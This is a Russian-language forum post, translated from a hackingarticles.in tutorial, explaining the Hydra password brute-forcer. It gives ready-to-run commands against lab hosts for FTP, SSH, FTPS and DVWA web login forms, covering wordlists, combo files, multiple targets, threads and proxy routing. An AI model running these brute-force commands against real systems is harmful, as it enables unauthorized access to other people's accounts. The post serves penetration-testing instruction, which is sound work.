• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья Подробное руководство по Гидре

yashechka

Генератор контента.Фанат Ильфака и Рикардо Нарвахи
Эксперт
Регистрация
24.11.2012
Сообщения
2 344
Реакции
3 563
Подробное руководство по Гидре

Привет! Пентестеры, эта статья посвящена инструменту для брутфорса Hydra. Hydra — один из любимых инструментов исследователей и консультантов по безопасности. Являясь отличным инструментом для выполнения атак методом грубой силы, он предоставляет различные другие параметры, которые могут сделать вашу атаку более интенсивной и упростить получение несанкционированного удаленного доступа к системе. В этой статье я разъясню каждый вариант, доступный в гидре, для проведения атак грубой силы в различных сценариях.

Знакомство с Гидрой

Hydra — очень быстрый взломщик логинов, который поддерживает множество различных сервисов. Это параллельный взломщик, который поддерживает множество протоколов для атаки. Новые модули легко добавлять, кроме того, он гибкий и очень быстрый. Этот инструмент дает исследователям и консультантам по безопасности возможность показать, насколько легко можно получить несанкционированный доступ с удаленного устройства к системе.

В настоящее время этот инструмент поддерживает: adam6500, afp, asterisk, cisco, cisco-enable, cvs, firebird, ftp, ftps, head|get|post}, http-{get|post}-form , http-proxy, http-proxy-urlenum, icq, imap, irc, ldap2, ldap3[-{cram|digest}md5], mssql mysql(v4), mysql5, ncp, nntp , oracle, oracle-listener, oracle-sid, pcanywhere, pcnfs, pop3, postgres, rdp, radmin2, redis, rexec, rlogin, rpcap, rsh, rtsp, s7-300, sapr3, sip, smb, smtp[ s], smtp-enum, snmp, socks5, ssh, sshkey, svn, teampeak, telnet, vmauthd, vnc, xmpp

Для большинства протоколов поддерживается SSL (например, https-get, ftp-SSL и т. д.). Если их нет, то все необходимые библиотеки будут найдены во время компиляциие. Введите "Hydra", чтобы увидеть, что доступно.

1653042983881.png


Чтобы угадать пароль для определенного имени пользователя

Если у вас есть правильное имя пользователя, но вы хотите войти в систему, не зная пароля, вы можете использовать список паролей и перебор паролей на хосте для службы ftp.

hydra -l ignite -P pass.txt 192.168.1.141 ftp

Здесь опция -l предназначена для имени пользователя -P для списков паролей и IP-адреса хоста для службы ftp.

1653043017503.png


Для входа в систему под ignite пароль 123 подобран успешно.

Чтобы угадать имя пользователя для определенного пароля

У вас может быть действующий пароль, но вы не знаете, какое имя пользователя использовать. Предположим, у вас есть пароль для определенного входа на ftp. Вы можете перебрать поле с правильными списками слов имени пользователя, чтобы найти правильное. Вы можете использовать опцию -L, чтобы указать пользовательские списки слов, и опцию -p, чтобы указать конкретный пароль.

hydra -L users.txt -p 123 192.168.1.141 ftp

Здесь наш список слов — это файл users.txt, для которого используется параметр -L, а пароль — 123, и для этого используется параметр -p по ftp.

Брутфорс логина и пароля

Теперь, если у вас нет ни имени пользователя, ни пароля, для этого вы можете использовать атаку грубой силы как для имени пользователя, так и для пароля со списком слов обоих, и вы можете использовать для этого параметры -P и -U.

hydra -L users.txt -P pass.txt 192.168.1.141 ftp

Users.txt — это список слов для имени пользователя, а pass.txt — это список слов для пароля, и атака показала действительные учетные данные ignite и 123 для хоста.

Подробный и отладочный режим

Опция -V используется для подробного режима, где будет отображаться комбинация логин+пароль для каждой попытки. Здесь у меня есть два списка слов users.txt и pass.txt, поэтому атака грубой силы заключалась в создании комбинаций каждого логина+пароля, а подробный режим показывал все попытки.

1653043063552.png


hydra -L users.txt -P pass.txt 192.168.1.141 ftp -V

Здесь в файле users.txt 5 имен пользователей, а в файле pass.txt 7 паролей, поэтому количество попыток равно 5 * 7 = 35, как показано на скриншоте.

Теперь параметр -d используется для включения режима отладки. Он показывает полную информацию об атаке с временем ожидания, conwait, сокетом, PID, RECV.

hydra -l ignite -P pass.txt 192.168.1.141 ftp -d

Опция -d включает режим отладки, который, как показано, отображает полную информацию об атаке.

1653043111204.png


NULL/Same как логин, и попытка реверс логина

У Hydra есть опция -e, которая будет проверять еще 3 пароля при переборе. [n] для нуля, для того же, т. е. такого же, как имя пользователя, и [r] для реверсивного, т. е. обратного имени пользователя. Как показано на снимке экрана, при переборе поля пароля сначала проверяется нулевая опция, затем та же опция, а затем наоборот. А затем список, который я предоставил.

hydra -L users.txt -P pass.txt 192.168.1.141 ftp -V -e nsr

Я также включил подробный режим, чтобы мы могли получить подробную информацию о попытках, предпринятых во время перебора.

1653043134197.png


Сохранение вывода на диск

Этот инструмент дает вам возможность сохранить результат на диск. В основном для ведения записи, лучшей читаемости и будущих предпочтений мы можем сохранить результат атаки грубой силы в файл, используя параметр -o.

hydra -L users.txt -P pass.txt 192.168.1.141 ftp -o result.txt

Я попытался использовать эту опцию и добился успеха, используя приведенную выше команду, где вывод сохраняется в файле result.txt.

1653043155135.png


Я также использовал эту опцию для сохранения результатов в формате файла json, этот тип — уникальная вещь, предоставляемая гидрой.

1653043177399.png


Восстановление атаки грубой силы

Иногда может случиться так, что атака случайно ястанавливается/приостанавливается из-за неожиданного поведения гидры. Итак, Hydra решила эту проблему, включив опцию -R, чтобы вы могли возобновить атаку с этой позиции, а не начинать с самого начала.

hydra -L users.txt -P pass.txt 192.168.1.141 ftp
hydra -R


Сначала я начал атаку с помощью первой команды, затем остановил атаку, нажав CTRL + C, а затем с помощью второй команды возобновил атаку.

1653043200383.png


Генерация пароля с использованием различного набора символов

Для генерации паролей с использованием различного набора символов вы можете использовать опцию -x. Он используется как -x min:max:charset, где

Min: указывает минимальное количество символов в пароле.

Max: указывает максимальное количество символов в пароле.

Набор символов: набор символов может содержать 1 для цифр, a для строчных букв и A для символов верхнего регистра. Любой другой добавленный символ помещается в список.

Рассмотрим в качестве примера: 1:2:a1%.

Сгенерированные пароли будут иметь длину от 1 до 2 и содержать строчные буквы, цифры и/или знаки процента и точки.

hydra -l ignite -x 1:3:1 ftp://192.168.1.141

Итак, здесь минимальная длина пароля составляет 1, а максимальная длина составляет 3, которые будут содержать числа, а для пароля 123 он показал успех.

1653043225549.png


Чтобы вы лучше поняли, я использовал режим -V, и он подробно отобразил результаты.

1653043235755.png


Атака на определенный порт, а не порт по умолчанию

Сетевые администраторы иногда меняют номер порта по умолчанию для некоторых служб из соображений безопасности. В предыдущих командах Hydra выполняла атаку грубой силы на ftp-сервис, просто упоминая имя сервиса, а не порт, но, как упоминалось ранее, порт по умолчанию изменяется в это время, Hydra поможет вам с параметром -s. Если служба находится на другом порту по умолчанию, определите его с помощью параметра -s.

nmap -sV 192.168.1.141
hydra -L users.txt -P pass.txt 192.168.1.141 ssh -s 2222

1653043261392.png


Итак, чтобы выполнить, сначала я попытался запустить сканирование nmap на хосте. И на скриншоте показаны все открытые порты, где ssh находится на порту 2222. Итак, я попытался выполнить команду гидры с параметром -s и номером порта.

1653043272915.png


Я брутфорсил службу ssh, указав номер порта 2222.

1653043282658.png


Здесь он нашел действительные записи с пользователем ignite и паролем 123.

Атака нескольких хостов

Как и ранее, я провел атаку полным перебором, используя файл паролей pass.txt и файл имен пользователей users.txt на одном хосте, то есть 191.168.1.141. Но если хостов несколько, то для этого можно использовать -M, с помощью которого происходит брутфорс на нескольких хостах.

hydra -L users.txt -P pass.txt -M hosts.txt ftp

Во-первых, я создал новый файл hosts.txt, который содержит все хосты. Затем результат показывает 2 действительных хоста, имя пользователя и пароль с успехом.

1653043304492.png


Теперь в приведенной выше команде я использовал параметр -M для нескольких хостов, поэтому очень много времени требуется для отображения всех попыток, имевших место во время атаки, для этой в медузе была предоставлена опция -F, чтобы атака завершилась, после первой найденной пары логин/пароль для любого хоста.

hydra -L users.txt -P pass.txt -M hosts.txt ftp -F

1653043325387.png


Использование комбинированных записей


Этот инструмент дает вам уникальный параметр -C для использования комбинированных записей. Во-первых, вам нужно создать файл, содержащий данные в формате "логин:пароль", разделенные двоеточием, а затем вы можете использовать параметр -C, указав имя файла, и выполнить атаку методом грубой силы вместо использования параметров -L/-P. отдельно. Таким образом, атака может быть быстрее и даст желаемый результат за меньшее время.

cat userpass.txt
hydra -C userpass.txt 192.168.1.141 ftp


Итак, я создал файл userpass.txt с помощью команды cat и ввел данные в формате "логин: пароль". Затем я использовал опцию -C в команде гидры, чтобы начать атаку.

1653043349083.png


Конкуретное тестирование при нескольких логинах

Если вы хотите протестировать несколько входов в систему одновременно, для этого вы можете использовать опцию -t, указав число, и, следовательно, гидра будет выполнять брутфорс одновременно.

hydra -L users.txt -P pass.txt 192.168.1.141 ftp -t 3 -V

Как показано на снимке экрана, одновременно выполняются три попытки, три пароля проверяются одновременно с запуском пользователя на хосте 192.168.1.141, так как вы можете наблюдать дочерние изменения 0, 1,2, что означает, что он одновременно делает три попытки и печатает 3 из них одновременно.

1653043375990.png


Брутфорс формы входа по HTTP

Форма Hydra может использоваться для проведения грубой атаки на простые веб-формы входа в систему, для которых требуются переменные имени пользователя и пароля либо с помощью запроса GET, либо POST. Для тестирования я использовал dvwa (чертовски уязвимое веб-приложение), у которого есть страница входа. На этой странице используется метод POST, поскольку я отправляю некоторые данные.

1653043388178.png


hydra -l admin -P pass.txt 192.168.1.150 http-post-form “/dvwa/login.php:username=^USER^&password=^PASS^&Login=Login:Login failed”

Здесь я дал имя пользователя admin и предоставил файл для паролей и использовал модуль http-post-form для выполнения атаки грубой силы на хосте 192.168.1.150.

1653043404655.png


Итак, для пароля: пароль успешно подошел и обошел страницу входа. Теперь я выполнил грубую силу в поле имени пользователя и пароля, указав уровень безопасности как "низкий". И с помощью плагина редактора файлов cookie я узнал файл cookie PHPSESSID и использовал его значение в команде.

hydra 192.168.1.150 -l admin -P ‘pass.txt’ http-get-form “/dvwa/vulnerabilities/brute/:username=^USER^&password=^PASS^&Login=Login:F=Username and/or password incorrect.:H=Cookie:PHPSESSID=13f2650bddf7a9ef68858ceea03c5d; security=low”

1653043428801.png


Я просмотрел исходный код страницы, и из этого я узнал, что страница использует метод GET, и поэтому модуль http-GET-form, как указано в приведенной выше команде

1653043438705.png


Как на скриншоте, команда успешно выполнена, и я получил правильный логин и пароль.

1653043446946.png


Сервисный модуль о информации об использовании

Как обсуждалось ранее во введении, все сервисы, поддерживаемые гидрой, если вы хотите проверить один раз, просто введите гидра -h, и вы получите список сервисов, поддерживаемых гидрой. Итак, чтобы получить подробную информацию об использовании, Hydra предоставляет опцию -U.

hydra http-get-form -U

1653043471517.png


Здесь http-get-form является одним из сервисов, поддерживаемых гидрой, а опция -U помогла получить подробную информацию.

Атака на защищенное подключение к сервису

Выполняя атаку на ftp-соединение, вы просто упоминаете имя службы вместе с соответствующими параметрами, но если на хосте открыт ftp-порт и ftp защищен, поэтому, если вы используете такую команду

hydra -l ignite -P pass.txt ftp://192.168.1.141

Эта команда не будет выполняться должным образом, поэтому найдено 0 допустимых паролей. Итак, чтобы выполнить атаку на защищенное ftp-соединение, запустите эту команду.

hydra -l ignite -P pass.txt ftps://192.168.1.141

1653043500100.png


И эта команда отработала хорошо и показала, что найден 1 действительный пароль.

Это один из способов атаки на защищенный ftp, а Hydra предоставляет еще один способ атаки на защищенный сервис.

hydra -l ignite -P pass.txt 192.168.1.141 ftp
hydra -l ignite -P pass.txt 192.168.1.141 ftps

1653043519563.png


Первый не сработал, так как хост 192.168.1.141 защитил ftp, а второй сработал и показал нам найденный действующий пароль. Таким образом, вы можете выполнять атаки грубой силы на хосты, на которых открыты защищенные службы.

Поддержка прокси

Теперь давайте обсудим, как гидра атакует хосты с включенным прокси. Сначала я попытался выполнить ту же команду с параметрами -l -p на хосте 192.168.1.141 на ftp-сервисе и обнаружил, что пароль не найден. Следовательно, я начал сканирование nmap для хоста и обнаружил, что список служб и портов открыт. Итак, на порту 1080 был установлен прокси "socks5" без какой-либо аутентификации.

1653043531422.png


Неаутентифицированный прокси

Hydra предоставляет два разных способа поддержки прокси. Я пробовал оба способа. Используйте скриншоты для лучшего понимания. Давайте обсудим первый способ

Переменная среды

Чтобы включить прокси, я использовал эту команду:

export HYDRA_PROXY=socks5://192.168.1.141:1080

1653043556068.png


А затем использовал следующую команду и получил 1 действительный пароль:

hydra -l ignite -P pass.txt 192.168.1.141 ftp

Чепочки прокси

Я открыл /etc/proxychains4.conf и добавил данные прокси с хостом и портом. А потом с помощью proxychains выполняется брутфорс

cat /etc/proxychains4.conf1

proxychains hydra -l ignite -P pass.txt 192.168.1.141 ftp

1653043607503.png


Аутентифицированные прокси

Я получил нужный пароль 123 для хоста. В приведенной выше атаке не было включено никакой аутентификации. Теперь я попробовал прокси с включенной аутентификацией.

Чепочки прокси


Я попытался перебрать цель с помощью проксичейнов, но мне было отказано, потому что на прокси была включена аутентификация.

proxychains hydra -l ignite -p pass.txt 192.168.1.141 ftp

1653043624339.png


Итак, я добавил имя пользователя и пароль в файл /etc/proxychains4.conf

cat /etc/proxychains4.conf

Просто посмотрите на скриншот для лучшего понимания. Затем с помощью проксичейнов я начал атаковать с помощью приведенной ниже команды.

proxychains hydra -l ignite -P pass.txt 192.168.1.141 ftp

Следовательно, после выполнения этой команды был найден правильный пароль для хоста с включенным прокси.

1653043647096.png


Переменные среды

export HYDRA_PROXY=socks5://raj:1234@192.168.1.141:1080

Здесь "raj" — имя пользователя, "1234" — пароль для прокси, "192.168.1.141" — хост, а "1080" — порт, на котором включен прокси. После этого я использовал команду

export HYDRA_PROXY=socks5://raj:1234@192.168.1.141:1080

И для этого показал действующий пароль для хоста 192.168.1.141

1653043676649.png


Примечание. Для настройки прокси я взял статью https://www.hackingarticles.in/penetration-testing-lab-setup-microsocks

Переведено специально для xss.pro
Автор перевода: yashechka
Источник: https://www.hackingarticles.in/a-detailed-guide-on-hydra/
 
Последнее редактирование:


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх